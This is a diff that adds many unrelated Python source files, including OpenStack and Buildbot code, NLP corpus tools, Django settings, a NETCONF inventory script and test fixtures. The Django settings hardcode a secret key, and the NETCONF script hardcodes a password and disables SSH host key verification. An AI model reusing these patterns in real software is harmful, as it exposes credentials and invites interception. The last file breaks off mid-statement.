+class TestNwaL2ServerApi(base.BaseTestCase): + + @mock.patch('neutron.common.rpc.get_client') + def setUp(self, f1): + super(TestNwaL2ServerApi, self).setUp() + self.proxy = nwa_l2_server_api.NwaL2ServerRpcApi("dummy-topic") + self.context = mock.MagicMock() + + def test_release_dynamic_segment_from_agent(self): + cctxt = mock.MagicMock() + self.proxy.client.prepare.return_value = cctxt + self.proxy.release_dynamic_segment_from_agent( + self.context, 'physical_network', 'network_id') + self.assertEqual(1, cctxt.call.call_count) diff --git a/pool/shard000/Python/0007683_manager.py b/pool/shard000/Python/0007683_manager.py new file mode 100644 index 0000000000000000000000000000000000000000..1624c0eb84f0593ffe15a8721fae6a554de1a4e1 --- /dev/null +++ b/pool/shard000/Python/0007683_manager.py @@ -0,0 +1,141 @@ +# This file is part of Buildbot. Buildbot is free software: you can +# redistribute it and/or modify it under the terms of the GNU General Public +# License as published by the Free Software Foundation, version 2. +# +# This program is distributed in the hope that it will be useful, but WITHOUT +# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +# FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +# details. +# +# You should have received a copy of the GNU General Public License along with +# this program; if not, write to the Free Software Foundation, Inc., 51 +# Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. +# +# Copyright Buildbot Team Members + +from buildbot import config +from buildbot.buildslave.protocols import pb as bbpb +from buildbot.util import misc +from twisted.application import service +from twisted.internet import defer +from twisted.python import log +from twisted.python.failure import Failure + + +class BuildslaveRegistration(object): + + __slots__ = ['master', 'buildslave', 'pbReg'] + + def __init__(self, master, buildslave): + self.master = master + self.buildslave = buildslave + + def __repr__(self): + return "<%s for %r>" % (self.__class__.__name__, self.buildslave.slavename) + + @defer.inlineCallbacks + def unregister(self): + bs = self.buildslave + # update with portStr=None to remove any registration in place + yield self.master.buildslaves.pb.updateRegistration( + bs.slavename, bs.password, None) + yield self.master.buildslaves._unregister(self) + + @defer.inlineCallbacks + def update(self, slave_config, global_config): + # For most protocols, there's nothing to do, but for PB we must + # update the registration in case the port or password has changed. + self.pbReg = yield self.master.buildslaves.pb.updateRegistration( + slave_config.slavename, slave_config.password, + global_config.protocols['pb']['port']) + + def getPBPort(self): + return self.pbReg.getPort() + + +class BuildslaveManager(config.ReconfigurableServiceMixin, + service.MultiService): + + name = "buildslaves" + PING_TIMEOUT = 10 + + def __init__(self, master): + service.MultiService.__init__(self) + self.setName('buildslaves') + self.master = master + + self.pb = bbpb.Listener(self.master) + self.pb.setServiceParent(self) + + # BuildslaveRegistration instances keyed by buildslave name + self.registrations = {} + + # connection objects keyed by buildslave name + self.connections = {} + + @defer.inlineCallbacks + def reconfigService(self, new_config): + + # TODO: make buildslaves child services to this object instead of + # BotMaster, so they no longer need to register + + # reconfig any newly-added change sources, as well as existing + yield config.ReconfigurableServiceMixin.reconfigService(self, + new_config) + + def getBuildslaveByName(self, buildslaveName): + return self.registrations[buildslaveName].buildslave + + def register(self, buildslave): + # TODO: doc that reg.update must be called, too + buildslaveName = buildslave.slavename + reg = BuildslaveRegistration(self.master, buildslave) + self.registrations[buildslaveName] = reg + return defer.succeed(reg) + + def _unregister(self, registration): + del self.registrations[registration.buildslave.slavename] + + @defer.inlineCallbacks + def newConnection(self, conn, buildslaveName): + if buildslaveName in self.connections: + log.msg("Got duplication connection from '%s'" + " starting arbitration procedure" % buildslaveName) + old_conn = self.connections[buildslaveName] + try: + yield misc.cancelAfter(self.PING_TIMEOUT, + old_conn.remotePrint("master got a duplicate connection")) + # if we get here then old connection is still alive, and new + # should be rejected + defer.returnValue( + Failure(RuntimeError("rejecting duplicate slave")) + ) + except defer.CancelledError: + old_conn.loseConnection() + log.msg("Connected slave '%s' ping timed out after %d seconds" + % (buildslaveName, self.PING_TIMEOUT)) + except Exception, e: + old_conn.loseConnection() + log.msg("Got error while trying to ping connected slave %s:" + "%s" % (buildslaveName, e)) + log.msg("Old connection for '%s' was lost, accepting new" % buildslaveName) + + try: + yield conn.remotePrint(message="attached") + info = yield conn.remoteGetSlaveInfo() + log.msg("Got slaveinfo from '%s'" % buildslaveName) + except Exception, e: + log.msg("Failed to communicate with slave '%s'\n" + "%s" % (buildslaveName, e) + ) + defer.returnValue(False) + + conn.info = info + self.connections[buildslaveName] = conn + + def remove(): + del self.connections[buildslaveName] + conn.notifyOnDisconnect(remove) + + # accept the connection + defer.returnValue(True) diff --git a/pool/shard000/Python/0007685_extractelicitation.py b/pool/shard000/Python/0007685_extractelicitation.py new file mode 100644 index 0000000000000000000000000000000000000000..f2285d7ed481ea394d2e3df1d62d53df12268643 --- /dev/null +++ b/pool/shard000/Python/0007685_extractelicitation.py @@ -0,0 +1,65 @@ +#!/usr/bin/env python3 + +"""Get all the useful pairs of adjectives with nouns out of the elicitation +corpora.""" + +import os, glob + +import extract + +quechuapos = set() +def extractfrompair(srcsent, tgtsent, aligned): + spanishwords = srcsent.strip().split() + quechuawords = tgtsent.strip().split() + ## find all the cases where we see a Quechua word that's an adjective, + ## followed by a noun. + + adjectives = [] + for qw in quechuawords: + qw = qw.replace("+","") + answers = extract.quechuaMA(qw) + for answer in answers: + if answer is not None and answer[1] is not None: + try: + quechuapos.add(answer[1]['pos']) + if answer[1]['pos'] == 'adj': + adjectives.append(qw) + except: + continue + if adjectives: + print("srcsent:", srcsent) + print("tgtsent:", tgtsent) + print("aligned:", aligned) + print("adjectives:", adjectives) + +def extract_fn(fn): + srcsent,tgtsent,aligned = None,None,None + with open(fn, encoding="latin-1") as infile: + for line in infile: + line = line.strip() + if line == "newpair": + srcsent,tgtsent,aligned = None,None,None + + if line.startswith("srcsent:"): + srcsent = line.split(":")[1] + if line.startswith("tgtsent:"): + tgtsent = line.split(":")[1] + if line.startswith("aligned:"): + aligned = line.split(":")[1] + + if srcsent and tgtsent and aligned: + extractfrompair(srcsent, tgtsent, aligned) + # extractfrompair_es(srcsent, tgtsent, aligned) + +def main(): + elicitation = os.path.expanduser("~/corpora/Quechua/Elicitation/CorpusDone") + fns = glob.glob(elicitation + "/[FS]C*.txt") + + extract.load_spanish_adjectives() + + for fn in fns: + print("**** {0} ****".format(fn)) + extract_fn(fn) + print(quechuapos) + +if __name__ == "__main__": main() diff --git a/pool/shard000/Python/0007687_inner_transaction_result_ext.py b/pool/shard000/Python/0007687_inner_transaction_result_ext.py new file mode 100644 index 0000000000000000000000000000000000000000..653d037376054649f2b4aacdc639cda3017cead3 --- /dev/null +++ b/pool/shard000/Python/0007687_inner_transaction_result_ext.py @@ -0,0 +1,69 @@ +# This is an automatically generated file. +# DO NOT EDIT or your changes may be overwritten +import base64 +from xdrlib import Packer, Unpacker + +from ..type_checked import type_checked +from .base import Integer + +__all__ = ["InnerTransactionResultExt"] + + +@type_checked +class InnerTransactionResultExt: + """ + XDR Source Code:: + + union switch (int v) + { + case 0: + void; + } + """ + + def __init__( + self, + v: int, + ) -> None: + self.v = v + + def pack(self, packer: Packer) -> None: + Integer(self.v).pack(packer) + if self.v == 0: + return + + @classmethod + def unpack(cls, unpacker: Unpacker) -> "InnerTransactionResultExt": + v = Integer.unpack(unpacker) + if v == 0: + return cls(v=v) + return cls(v=v) + + def to_xdr_bytes(self) -> bytes: + packer = Packer() + self.pack(packer) + return packer.get_buffer() + + @classmethod + def from_xdr_bytes(cls, xdr: bytes) -> "InnerTransactionResultExt": + unpacker = Unpacker(xdr) + return cls.unpack(unpacker) + + def to_xdr(self) -> str: + xdr_bytes = self.to_xdr_bytes() + return base64.b64encode(xdr_bytes).decode() + + @classmethod + def from_xdr(cls, xdr: str) -> "InnerTransactionResultExt": + xdr_bytes = base64.b64decode(xdr.encode()) + return cls.from_xdr_bytes(xdr_bytes) + + def __eq__(self, other: object): + if not isinstance(other, self.__class__): + return NotImplemented + return self.v == other.v + + def __str__(self): + out = [] + out.append(f"v={self.v}") + return f"" diff --git a/pool/shard000/Python/0007689_tasker.py b/pool/shard000/Python/0007689_tasker.py new file mode 100644 index 0000000000000000000000000000000000000000..315a5572775a5e5bb4b2df32e43d437562a9d5a3 --- /dev/null +++ b/pool/shard000/Python/0007689_tasker.py @@ -0,0 +1,57 @@ +#!/usr/bin/env python + +import datetime +import json +import sys + +from argparse import ArgumentParser as AP +from os import path + +printTask = lambda t: print("%(id)s %(done) %(date)s %(text)s" % t) + + +def readFile(filename): + try: + file = open(filename) + except IOError as e: + sys.stderr.write(str(e) + "\n") + sys.stderr.write("Try 'touch " + filename + "'\n") + exit(1) + else: + try: + return json.load(file) + except: + return [] + + +if __name__ == "__main__": + parser = AP(description="Task/Todo List Manager") + group = parser.add_mutually_exclusive_group(required=True) + group.add_argument("--list", + help="List all task items", + action="store_true") + group.add_argument("--add", + help="Add an item", + type=str, + dest="newItem", + metavar="DESC") + group.add_argument("--del", + help="Delete an item", + type=int, + dest="delItem", + metavar="NUM") + group.add_argument("--done", + help="Set an item as 'done'", + type=int, + dest="doneItem", + metavar="NUM") + args = parser.parse_args() + + userfile = path.expanduser("~/.tasker") + taskList = readFile(userfile) + + if args.list: + for task in taskList: + printTask(task) + elif args.newItem: + pass diff --git a/pool/shard000/Python/0007691_dependencycorpusreader.py b/pool/shard000/Python/0007691_dependencycorpusreader.py new file mode 100644 index 0000000000000000000000000000000000000000..68db5d4906e1a35d8a2ff88adbc95ab13033be39 --- /dev/null +++ b/pool/shard000/Python/0007691_dependencycorpusreader.py @@ -0,0 +1,101 @@ +# Natural Language Toolkit: Dependency Corpus Reader +# +# Copyright (C) 2001-2015 NLTK Project +# Author: Kepa Sarasola +# Iker Manterola +# +# URL: +# For license information, see LICENSE.TXT + +import codecs + +from dependencygraph import DependencyGraph +from nltk.tokenize import * + +from nltk.corpus.reader.util import * +from nltk.corpus.reader.api import * + +class DependencyCorpusReader(SyntaxCorpusReader): + + def __init__(self, root, fileids, encoding='utf8', + word_tokenizer=TabTokenizer(), + sent_tokenizer=RegexpTokenizer('\n', gaps=True), + para_block_reader=read_blankline_block): + + CorpusReader.__init__(self, root, fileids, encoding) + + ######################################################### + + def raw(self, fileids=None): + """ + :return: the given file(s) as a single string. + :rtype: str + """ + result = [] + for fileid, encoding in self.abspaths(fileids, include_encoding=True): + if isinstance(fileid, PathPointer): + result.append(fileid.open(encoding=encoding).read()) + else: + with codecs.open(fileid, "r", encoding) as fp: + result.append(fp.read()) + return concat(result) + + def words(self, fileids=None): + return concat([DependencyCorpusView(fileid, False, False, False, encoding=enc) + for fileid, enc in self.abspaths(fileids, include_encoding=True)]) + + def tagged_words(self, fileids=None): + return concat([DependencyCorpusView(fileid, True, False, False, encoding=enc) + for fileid, enc in self.abspaths(fileids, include_encoding=True)]) + + def sents(self, fileids=None): + return concat([DependencyCorpusView(fileid, False, True, False, encoding=enc) + for fileid, enc in self.abspaths(fileids, include_encoding=True)]) + + def tagged_sents(self, fileids=None): + return concat([DependencyCorpusView(fileid, True, True, False, encoding=enc) + for fileid, enc in self.abspaths(fileids, include_encoding=True)]) + + def parsed_sents(self, fileids=None): + sents=concat([DependencyCorpusView(fileid, False, True, True, encoding=enc) + for fileid, enc in self.abspaths(fileids, include_encoding=True)]) + return [DependencyGraph(sent) for sent in sents] + + +class DependencyCorpusView(StreamBackedCorpusView): + _DOCSTART = '-DOCSTART- -DOCSTART- O\n' #dokumentu hasiera definitzen da + + def __init__(self, corpus_file, tagged, group_by_sent, dependencies, + chunk_types=None, encoding='utf8'): + self._tagged = tagged + self._dependencies = dependencies + self._group_by_sent = group_by_sent + self._chunk_types = chunk_types + StreamBackedCorpusView.__init__(self, corpus_file, encoding=encoding) + + def read_block(self, stream): + # Read the next sentence. + sent = read_blankline_block(stream)[0].strip() + # Strip off the docstart marker, if present. + if sent.startswith(self._DOCSTART): + sent = sent[len(self._DOCSTART):].lstrip() + + # extract word and tag from any of the formats + if not self._dependencies: + lines = [line.split('\t') for line in sent.split('\n')] + if len(lines[0]) == 3 or len(lines[0]) == 4: + sent = [(line[0], line[1]) for line in lines] + elif len(lines[0]) == 10: + sent = [(line[1], line[4]) for line in lines] + else: + raise ValueError('Unexpected number of fields in dependency tree file') + + # discard tags if they weren't requested + if not self._tagged: + sent = [word for (word, tag) in sent] + + # Return the result. + if self._group_by_sent: + return [sent] + else: + return list(sent) diff --git a/pool/shard000/Python/0007697_mrs_Mrs_test.py b/pool/shard000/Python/0007697_mrs_Mrs_test.py new file mode 100644 index 0000000000000000000000000000000000000000..af8134a347825b8e98242d8a025a1b461d02b491 --- /dev/null +++ b/pool/shard000/Python/0007697_mrs_Mrs_test.py @@ -0,0 +1,130 @@ +# -*- coding: UTF-8 -*- + +import pytest + +from delphin.mrs.components import ( + Pred, + ElementaryPredication as EP, + elementarypredications as eps, + HandleConstraint as Hcons, + hcons, + IndividualConstraint as Icons, + icons, +) +from delphin.mrs.config import (FIRST_NODEID, UNKNOWNSORT) +from delphin.mrs import Mrs +#from delphin.mrs import simplemrs # for convenience in later tests +from delphin.exceptions import XmrsError + +sp = Pred.stringpred + + +# for convenience +def check_xmrs(x, top, index, xarg, eplen, hconslen, iconslen, varslen): + assert x.top == top + assert x.index == index + assert x.xarg == xarg + assert len(x.eps()) == eplen + assert len(x.hcons()) == hconslen + assert len(x.icons()) == iconslen + assert len(x.variables()) == varslen + + +class TestMrs(): + def test_empty(self): + x = Mrs() + # Mrs view + assert len(eps(x)) == 0 + assert len(hcons(x)) == 0 + assert len(icons(x)) == 0 + # Xmrs members + check_xmrs(x, None, None, None, 0, 0, 0, 0) + + def test_single_ep(self): + # basic, one EP, no TOP + x = Mrs(rels=[EP(10, sp('"_rain_v_1_rel"'), 'h1')]) + check_xmrs(x, None, None, None, 1, 0, 0, 1) + # variables don't need to be created predictably, but it's nice + # to get the expected values for simple cases + assert x.label(10) == 'h1' + assert x.ep(10).iv == None + # now with ARG0 + x = Mrs(rels=[EP(10, sp('"_rain_v_1_rel"'), 'h1', {'ARG0': 'e2'})]) + check_xmrs(x, None, None, None, 1, 0, 0, 2) + assert x.label(10) == 'h1' + assert x.ep(10).iv == 'e2' + # now with TOP + x = Mrs( + top='h0', + rels=[EP(10, sp('"_rain_v_1_rel"'), 'h1', {'ARG0': 'e2'})], + hcons=[('h0', 'qeq', 'h1')] + ) + check_xmrs(x, 'h0', None, None, 1, 1, 0, 3) + assert x.label(10) == 'h1' + assert x.ep(10).iv == 'e2' + + def test_to_dict(self): + assert Mrs().to_dict() == { + 'relations': [], 'constraints': [], 'variables': {} + } + + x = Mrs(rels=[EP(10, sp('"_rain_v_1_rel"'), 'h1', {'ARG0': 'e2'})]) + assert x.to_dict() == { + 'relations': [ + {'label': 'h1', 'predicate': '_rain_v_1', + 'arguments': {'ARG0': 'e2'}} + ], + 'constraints': [], + 'variables': {'h1': {'type': 'h'}, 'e2': {'type': 'e'}} + } + + x = Mrs( + top='h0', + rels=[EP(10, sp('"_rain_v_1_rel"'), 'h1', {'ARG0': 'e2'})], + hcons=[('h0', 'qeq', 'h1')], + vars={'e2': {'SF': 'prop', 'TENSE': 'pres'}} + ) + assert x.to_dict() == { + 'top': 'h0', + 'relations': [ + {'label': 'h1', 'predicate': '_rain_v_1', + 'arguments': {'ARG0': 'e2'}} + ], + 'constraints': [{'relation': 'qeq', 'high': 'h0', 'low': 'h1'}], + 'variables': { + 'h0': {'type': 'h'}, 'h1': {'type': 'h'}, + 'e2': {'type': 'e', + 'properties': {'SF': 'prop', 'TENSE': 'pres'}} + } + } + assert x.to_dict(properties=False) == { + 'top': 'h0', + 'relations': [ + {'label': 'h1', 'predicate': '_rain_v_1', + 'arguments': {'ARG0': 'e2'}} + ], + 'constraints': [{'relation': 'qeq', 'high': 'h0', 'low': 'h1'}], + 'variables': { + 'h0': {'type': 'h'}, 'h1': {'type': 'h'}, + 'e2': {'type': 'e'} + } + } + + + def test_from_dict(self): + assert Mrs.from_dict({}) == Mrs() + + m1 = Mrs.from_dict({ + 'relations': [ + {'label': 'h1', 'predicate': '_rain_v_1', + 'arguments': {'ARG0': 'e2'}} + ], + 'constraints': [], + 'variables': {'h1': {'type': 'h'}, 'e2': {'type': 'e'}} + }) + m2 = Mrs( + rels=[ + EP(FIRST_NODEID, sp('"_rain_v_1_rel"'), 'h1', {'ARG0': 'e2'}) + ] + ) + assert m1 == m2 diff --git a/pool/shard000/Python/0007698_settings.py b/pool/shard000/Python/0007698_settings.py new file mode 100644 index 0000000000000000000000000000000000000000..b1f6c31baa44bb9a23cb5de9f23f25e49c0f0eb4 --- /dev/null +++ b/pool/shard000/Python/0007698_settings.py @@ -0,0 +1,135 @@ +# Build paths inside the project like this: os.path.join(BASE_DIR, ...) +import os +import socket + +BASE_DIR = os.path.dirname(os.path.dirname(__file__)) + +# openshift is our PAAS for now. +ON_PAAS = 'OPENSHIFT_REPO_DIR' in os.environ + + +# Quick-start development settings - unsuitable for production +# See https://docs.djangoproject.com/en/1.6/howto/deployment/checklist/ + +if ON_PAAS: + SECRET_KEY = os.environ['OPENSHIFT_SECRET_TOKEN'] +else: + # SECURITY WARNING: keep the secret key used in production secret! + SECRET_KEY = ')_7av^!cy(wfx=k#3*7x+(=j^fzv+ot^1@sh9s9t=8$bu@r(z$' + +# SECURITY WARNING: don't run with debug turned on in production! +# adjust to turn off when on Openshift, but allow an environment variable to override on PAAS +DEBUG = not ON_PAAS +DEBUG = DEBUG or 'DEBUG' in os.environ +if ON_PAAS and DEBUG: + print("*** Warning - Debug mode is on ***") + +TEMPLATE_DEBUG = True + +if ON_PAAS: + ALLOWED_HOSTS = [os.environ['OPENSHIFT_APP_DNS'], socket.gethostname()] +else: + ALLOWED_HOSTS = [] + + +# Application definition + +INSTALLED_APPS = ( + 'django.contrib.admin', + 'django.contrib.auth', + 'django.contrib.contenttypes', + 'django.contrib.sessions', + 'django.contrib.messages', + 'django.contrib.staticfiles', + 'app1', +) + +MIDDLEWARE_CLASSES = ( + 'django.contrib.sessions.middleware.SessionMiddleware', + 'django.middleware.common.CommonMiddleware', + 'django.middleware.csrf.CsrfViewMiddleware', + 'django.contrib.auth.middleware.AuthenticationMiddleware', + 'django.contrib.messages.middleware.MessageMiddleware', + 'django.middleware.clickjacking.XFrameOptionsMiddleware', +) + +ROOT_URLCONF = 'mysite.urls' + +WSGI_APPLICATION = 'mysite.wsgi.application' + +# Database +# https://docs.djangoproject.com/en/1.6/ref/settings/#databases + +if ON_PAAS: + # determine if we are on MySQL or POSTGRESQL + if "OPENSHIFT_POSTGRESQL_DB_USERNAME" in os.environ: + + DATABASES = { + 'default': { + 'ENGINE': 'django.db.backends.postgresql_psycopg2', + 'NAME': os.environ['OPENSHIFT_APP_NAME'], + 'USER': os.environ['OPENSHIFT_POSTGRESQL_DB_USERNAME'], + 'PASSWORD': os.environ['OPENSHIFT_POSTGRESQL_DB_PASSWORD'], + 'HOST': os.environ['OPENSHIFT_POSTGRESQL_DB_HOST'], + 'PORT': os.environ['OPENSHIFT_POSTGRESQL_DB_PORT'], + } + } + + elif "OPENSHIFT_MYSQL_DB_USERNAME" in os.environ: + + DATABASES = { + 'default': { + 'ENGINE': 'django.db.backends.mysql', + 'NAME': os.environ['OPENSHIFT_APP_NAME'], + 'USER': os.environ['OPENSHIFT_MYSQL_DB_USERNAME'], + 'PASSWORD': os.environ['OPENSHIFT_MYSQL_DB_PASSWORD'], + 'HOST': os.environ['OPENSHIFT_MYSQL_DB_HOST'], + 'PORT': os.environ['OPENSHIFT_MYSQL_DB_PORT'], + } + } + + +else: + # stock django + DATABASES = { + 'default': { + 'ENGINE': 'django.db.backends.sqlite3', + 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), + } + } + +# Internationalization +# https://docs.djangoproject.com/en/1.6/topics/i18n/ + +LANGUAGE_CODE = 'en-us' + +TIME_ZONE = 'UTC' + +USE_I18N = True + +USE_L10N = True + +USE_TZ = True + + +# Static files (CSS, JavaScript, Images) +# https://docs.djangoproject.com/en/1.6/howto/static-files/ +STATIC_URL = '/static/' +STATIC_ROOT = os.path.join(BASE_DIR, 'wsgi','static') +STATICFILES_FINDERS = ( + 'django.contrib.staticfiles.finders.FileSystemFinder', + 'django.contrib.staticfiles.finders.AppDirectoriesFinder', + +) + +TEMPLATE_DIRS = ( + os.path.join(BASE_DIR, 'static/templates'), +) + +STATICFILES_DIRS = ( + # Put strings here, like "/home/html/static" or "C:/www/django/static". + # Always use forward slashes, even on Windows. + # Don't forget to use absolute paths, not relative paths. + os.path.join(BASE_DIR,"static"), +) + diff --git a/pool/shard000/Python/0007699_vmmigration_v1_generated_vm_migration_list_target_projects_async.py b/pool/shard000/Python/0007699_vmmigration_v1_generated_vm_migration_list_target_projects_async.py new file mode 100644 index 0000000000000000000000000000000000000000..15f63f6b0cf1e124931e93d23cfc14f02b6b12ec --- /dev/null +++ b/pool/shard000/Python/0007699_vmmigration_v1_generated_vm_migration_list_target_projects_async.py @@ -0,0 +1,47 @@ +# -*- coding: utf-8 -*- +# Copyright 2022 Google LLC +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# Generated code. DO NOT EDIT! +# +# Snippet for ListTargetProjects +# NOTE: This snippet has been automatically generated for illustrative purposes only. +# It may require modifications to work in your environment. + +# To install the latest published package dependency, execute the following: +# python3 -m pip install google-cloud-vm-migration + + +# [START vmmigration_v1_generated_VmMigration_ListTargetProjects_async] +from google.cloud import vmmigration_v1 + + +async def sample_list_target_projects(): + # Create a client + client = vmmigration_v1.VmMigrationAsyncClient() + + # Initialize request argument(s) + request = vmmigration_v1.ListTargetProjectsRequest( + parent="parent_value", + page_token="page_token_value", + ) + + # Make the request + page_result = client.list_target_projects(request=request) + + # Handle the response + async for response in page_result: + print(response) + +# [END vmmigration_v1_generated_VmMigration_ListTargetProjects_async] diff --git a/pool/shard000/Python/0007702_get-inventory.py b/pool/shard000/Python/0007702_get-inventory.py new file mode 100644 index 0000000000000000000000000000000000000000..0a279021f73e712217a2f0b2d44b46d1bf3628b8 --- /dev/null +++ b/pool/shard000/Python/0007702_get-inventory.py @@ -0,0 +1,19 @@ +#!/usr/bin/env python + +from ncclient import manager + +def connect(host, port, user, password): + conn = manager.connect(host=host, + port=port, + username=user, + password=password, + timeout=10, + hostkey_verify=False) + + + result = conn.get_chassis_inventory() + print "Chassis:", result.xpath('//chassis/description')[0].text + print "Chassis Serial-Number:", result.xpath('//chassis/serial-number')[0].text + +if __name__ == '__main__': + connect('router', 830, 'netconf', 'juniper!') diff --git a/pool/shard000/Python/0007703_base.py b/pool/shard000/Python/0007703_base.py new file mode 100644 index 0000000000000000000000000000000000000000..27f55fdb984cc2c7f99cfa27e1c165416eb3db82 --- /dev/null +++ b/pool/shard000/Python/0007703_base.py @@ -0,0 +1,185 @@ +# Copyright (c) 2014 Rackspace, Inc. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or +# implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +import random +import string +import uuid + +from cafe.drivers.unittest import fixtures +import jsonschema + +from tests.api.utils import client +from tests.api.utils import config + + +class TestBase(fixtures.BaseTestFixture): + + """Child class of fixtures.BaseTestFixture for testing CDN. + + Inherit from this and write your test methods. If the child class defines + a prepare(self) method, this method will be called before executing each + test method. + """ + + @classmethod + def setUpClass(cls): + + super(TestBase, cls).setUpClass() + + import requests.packages.urllib3 + requests.packages.urllib3.disable_warnings() + + cls.auth_config = config.AuthConfig() + if cls.auth_config.auth_enabled: + cls.auth_client = client.AuthClient() + auth_token, cls.user_project_id = \ + cls.auth_client.authenticate_user( + cls.auth_config.base_url, + cls.auth_config.user_name, + cls.auth_config.api_key) + else: + auth_token = str(uuid.uuid4()) + cls.user_project_id = str(uuid.uuid4()) + + cls.test_config = config.TestConfig() + + cls.config = config.PoppyConfig() + if cls.test_config.project_id_in_url: + cls.url = cls.config.base_url + '/v1.0/' + cls.user_project_id + else: + cls.url = cls.config.base_url + '/v1.0' + + cls.client = client.PoppyClient(cls.url, auth_token, + cls.user_project_id, + serialize_format='json', + deserialize_format='json') + + if cls.auth_config.multi_user: + alt_auth_token, alt_project_id = cls.auth_client.authenticate_user( + cls.auth_config.base_url, + cls.auth_config.alt_user_name, + cls.auth_config.alt_api_key) + if cls.test_config.project_id_in_url: + alt_url = cls.config.base_url + '/v1.0/' + alt_project_id + else: + alt_url = cls.config.base_url + '/v1.0' + + cls.alt_user_client = client.PoppyClient( + alt_url, alt_auth_token, + alt_project_id, + serialize_format='json', + deserialize_format='json') + + if cls.test_config.run_operator_tests: + operator_auth_token, operator_project_id = \ + cls.auth_client.authenticate_user( + cls.auth_config.base_url, + cls.auth_config.operator_user_name, + cls.auth_config.operator_api_key) + if cls.test_config.project_id_in_url: + cls.operator_url = cls.config.base_url + '/v1.0/' + \ + operator_project_id + else: + cls.operator_url = cls.config.base_url + '/v1.0' + + cls.operator_client = client.PoppyClient( + cls.operator_url, operator_auth_token, operator_project_id, + serialize_format='json', + deserialize_format='json') + + cls.dns_config = config.DNSConfig() + cls.dns_client = client.DNSClient(cls.dns_config.dns_username, + cls.dns_config.dns_api_key) + + cls.akamai_config = config.AkamaiConfig() + + def generate_random_string(self, prefix='API-Tests', length=12): + """Generates a random string of given prefix & length""" + random_string = ''.join(random.choice( + string.ascii_lowercase + string.digits) + for _ in range(length)) + random_string = prefix + random_string + return random_string + + def assertSchema(self, response_json, expected_schema): + """Verify response schema aligns with the expected schema.""" + try: + jsonschema.validate(response_json, expected_schema) + except jsonschema.ValidationError as message: + assert False, message + + @property + def test_flavor(self): + if self.test_config.generate_flavors: + provider_name = self.test_config.generated_provider + # create the flavor + flavor_id = str(uuid.uuid1()) + self.client.create_flavor( + flavor_id=flavor_id, + provider_list=[{ + "provider": provider_name, + "links": [{"href": "www.{0}.com".format(provider_name), + "rel": "provider_url"}]}]) + else: + flavor_id = self.test_config.default_flavor + + return flavor_id + + def setup_service(self, service_name, domain_list, origin_list, + caching_list=[], restrictions_list=[], flavor_id=None, + log_delivery=False): + resp = self.client.create_service( + service_name=service_name, + domain_list=domain_list, + origin_list=origin_list, + caching_list=caching_list, + restrictions_list=restrictions_list, + flavor_id=flavor_id, + log_delivery=log_delivery) + + self.assertEqual(resp.status_code, 202) + self.service_location = resp.headers['location'] + self.client.wait_for_service_status( + location=self.service_location, + status='DEPLOYED', + abort_on_status='FAILED', + retry_interval=self.test_config.status_check_retry_interval, + retry_timeout=self.test_config.status_check_retry_timeout) + + return resp + + def assert_patch_service_details(self, actual_response, expected_response): + self.assertEqual(actual_response['name'], + expected_response['name']) + self.assertEqual(sorted(actual_response['origins']), + sorted(expected_response['origins'])) + self.assertEqual(sorted(actual_response['caching']), + sorted(expected_response['caching'])) + self.assertEqual(sorted(actual_response['restrictions']), + sorted(expected_response['restrictions'])) + self.assertEqual(actual_response['flavor_id'], + expected_response['flavor_id']) + + for item in actual_response['domains']: + if (('certificate' in item) and + (item['certificate'] == 'shared')): + item['domain'] = item['domain'].split('.')[0] + self.assertEqual(sorted(actual_response['domains']), + sorted(expected_response['domains'])) + + @classmethod + def tearDownClass(cls): + """Deletes the added resources.""" + super(TestBase, cls).tearDownClass() diff --git a/pool/shard000/Python/0007704_utils.py b/pool/shard000/Python/0007704_utils.py new file mode 100644 index 0000000000000000000000000000000000000000..08b3b68de5f4595a593e2f317c0d4ca058b8419b --- /dev/null +++ b/pool/shard000/Python/0007704_utils.py @@ -0,0 +1,110 @@ +from __future__ import absolute_import + +import re +import six +import logging + +from sentry.attachments import attachment_cache +from sentry.coreapi import cache_key_for_event +from sentry.stacktraces.processing import find_stacktraces_in_data +from sentry.utils.safe import get_path + +logger = logging.getLogger(__name__) + +# Regex to parse OS versions from a minidump OS string. +VERSION_RE = re.compile(r"(\d+\.\d+\.\d+)\s+(.*)") + +# Regex to guess whether we're dealing with Windows or Unix paths. +WINDOWS_PATH_RE = re.compile(r"^([a-z]:\\|\\\\)", re.IGNORECASE) + +# Event platforms that could contain native stacktraces +NATIVE_PLATFORMS = ("cocoa", "native") + +# Debug image types that can be handled by the symbolicator +NATIVE_IMAGE_TYPES = ( + "apple", # Deprecated in favor of "macho" + "symbolic", # Generic if type is not known + "elf", # Linux + "macho", # macOS, iOS + "pe", # Windows +) + + +def is_native_platform(platform): + return platform in NATIVE_PLATFORMS + + +def is_native_image(image): + return ( + bool(image) + and image.get("type") in NATIVE_IMAGE_TYPES + and image.get("image_addr") is not None + and image.get("image_size") is not None + and (image.get("debug_id") or image.get("id") or image.get("uuid")) is not None + ) + + +def native_images_from_data(data): + return get_path(data, "debug_meta", "images", default=(), filter=is_native_image) + + +def is_native_event(data): + if is_native_platform(data.get("platform")): + return True + + for stacktrace in find_stacktraces_in_data(data): + if any(is_native_platform(x) for x in stacktrace.platforms): + return True + + return False + + +def image_name(pkg): + if not pkg: + return pkg + split = "\\" if WINDOWS_PATH_RE.match(pkg) else "/" + return pkg.rsplit(split, 1)[-1] + + +def get_sdk_from_event(event): + sdk_info = get_path(event, "debug_meta", "sdk_info") + if sdk_info: + return sdk_info + + os = get_path(event, "contexts", "os") + if os and os.get("type") == "os": + return get_sdk_from_os(os) + + +def get_sdk_from_os(data): + if data.get("name") is None or data.get("version") is None: + return + + try: + version = 